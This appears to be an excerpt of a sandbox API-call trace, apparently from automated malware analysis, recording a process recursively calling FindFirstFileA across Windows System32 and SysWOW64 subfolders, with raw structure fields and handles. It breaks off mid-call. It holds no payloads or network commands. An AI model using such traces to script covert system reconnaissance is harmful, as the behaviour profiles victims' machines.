lpFileName="C:\\Windows\\System32\\spp\\tokens\\pkeyconfig\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c2eb522, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c2eb522, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.489] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\spp\\tokens\\ppdlic\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11594ce, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c383aa3, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c383aa3, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.497] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sppui\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x117f628, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8c8466ab, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8c8466ab, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.501] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sr-Latn-CS\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x40ce3f4, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x40ce3f4, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.508] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sv-SE\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x40f454e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x40f454e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.517] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sysprep\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.518] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\sysprep\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22952f33, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.519] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11a5782, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11cb8dc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11cb8dc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.520] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\Microsoft\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11cb8dc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11cb8dc, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11cb8dc, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.521] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11cb8dc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.522] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\PLA\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11cb8dc, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11f1a36, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x11f1a36, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.522] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\PLA\\System\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11f1a36, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11f1a36, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.523] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\RemoteApp and Desktop Connections Update\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11f1a36, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x11f1a36, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xcb0f7309, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.524] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\SyncCenter\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.527] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\th-TH\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11f1a36, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x416695c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x416695c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.534] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\tr-TR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1217b90, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x418cab6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x418cab6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.544] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\uk-UA\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1217b90, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x41b2c10, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x41b2c10, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.554] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x9944508c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9944508c, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.560] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\AutoRecover\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x123dcea, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9038c031, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.562] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e49680e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9946b2fb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9946b2fb, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.595] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\Logs\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1263e44, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1263e44, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9038c031, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.600] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\Repository\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1263e44, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1263e44, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9038c031, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.602] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\tmf\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1263e44, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1263e44, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf3fda433, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.609] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wbem\\xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1263e44, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x432f994, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x432f994, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50154a, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.612] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WCN\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e5555ab, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.613] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WCN\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e5555ab, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a5e242, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e5555ab, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.617] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wdi\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x1289f9e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x1289f9e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.618] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\wdi\\perftrack\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cb40231, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cb40231, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.629] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.630] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.636] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e4bcac7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b8f80a, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e52f2f2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50156e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.716] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Examples\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.719] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x50156e, cFileName=".", cAlternateFileName="")) returned 0x502518 [0151.721] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.726] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1e4bcac7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bdbd7c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x5035c8, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.730] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.735] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName=".", cAlternateFileName="")) returned 0x502658 [0151.739] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\en-US\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e4bcac7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22bb5ac3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0151.747] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\winrm\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e9f4a12, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.748] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\winrm\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e9f4a12, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22598b22, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e9f4a12, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0151.773] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\zh-CN\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.894] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\zh-HK\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.929] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\zh-TW\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1289f9e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4460464, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x4460464, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0151.942] FindFirstFileA (in: lpFileName="C:\\Windows\\SysWOW64\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2b5b48b0, ftLastAccessTime.dwHighDateTime=0x1d6de10, ftLastWriteTime.dwLowDateTime=0x2b5b48b0, ftLastWriteTime.dwHighDateTime=0x1d6de10, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0151.942] FindFirstFileA (in: 